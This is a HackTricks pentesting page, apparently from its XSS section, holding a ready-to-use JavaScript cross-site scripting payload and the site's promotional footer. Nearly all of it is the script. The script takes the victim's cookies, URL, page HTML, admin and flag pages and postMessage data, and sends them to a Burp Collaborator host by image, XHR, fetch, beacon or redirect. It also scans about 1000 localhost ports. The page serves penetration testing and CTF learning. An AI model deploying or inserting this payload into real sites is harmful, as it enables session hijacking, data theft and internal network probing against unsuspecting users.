hacktricks/pentesting-web/xss-cross-site-scripting/steal-info-js.md

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// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
var ATTACKER_SERVER = "https://weecosb5a2k7jc0cwlyksg9qzh57tw.burpcollaborator.net"
var EXFIL_BY_IMG = false
var EXFIL_BY_RQ_GET = false
var EXFIL_BY_RQ_POST = true
var EXFIL_BY_FETCH_GET = false
var EXFIL_BY_FETCH_POST = false
var EXFIL_BY_NAV = false

var EXFIL_BY_LOC = false
var ALL_INFO = "" // Only used by Location exfiltration


// Function to make the data possible to transmit via either GET or POST
function encode(text){
    return encodeURI(btoa(text));
}

// Functions to exfiltrate the information
function exfil_info(info_name, text, is_final=false){
    if (EXFIL_BY_IMG)               exfil_by_img(info_name, text);
    if (EXFIL_BY_RQ_GET)            exfil_by_rq_get(info_name, text);
    if (EXFIL_BY_RQ_POST)           exfil_by_rq_post(info_name, text);
    if (EXFIL_BY_FETCH_GET)         exfil_by_fetch_get(info_name, text);
    if (EXFIL_BY_FETCH_POST)        exfil_by_fetch_post(info_name, text);
    if (EXFIL_BY_NAV)               exfil_by_nav(info_name, text);
    if (EXFIL_BY_LOC){
        if (is_final) exfil_by_loc(info_name, text);
        else ALL_INFO += "\n\n" + info_name + "=" + text;
    }
}

function exfil_by_img(info_name, text){
    new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
}

function exfil_by_rq_get(info_name, text){
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
    xhttp.send();
}

function exfil_by_rq_post(info_name, text){
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
    xhttp.send(text);
}

function exfil_by_fetch_get(info_name, text){
    fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
}

function exfil_by_fetch_post(info_name, text){
    fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
}

function exfil_by_nav(info_name, text){
    navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
}

function exfil_by_loc(info_name, text){
    document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
}


// Functions to get the data to exfiltrate
function exfil_page_content(url){
    var xhr  = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            exfil_info(url, encode(xhr.responseText));
        }
    }
    xhr.open('GET', url, true);
    xhr.send(null);
}

function exfil_internal_port(port){
    fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => { 
        exfil_info("internal_port", encode(port));
    });
}


// Info to exfiltrate
exfil_info("cookies", encode(document.cookie));
exfil_info("current_url", encode(document.URL));
exfil_info("current_content", encode(document.documentElement.innerHTML));
exfil_page_content("/");
exfil_page_content("/admin"); // If 404 nothing will be sent
exfil_page_content("/flag");
exfil_page_content("/flag.txt");

top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389]
top_1000.forEach(port => exfil_internal_port(port));

if (EXFIL_BY_LOC){
    setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
}

// Sniff info
window.onmessage = function(e){
    exfil_info("onmessage", encode(e.data))
}
Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.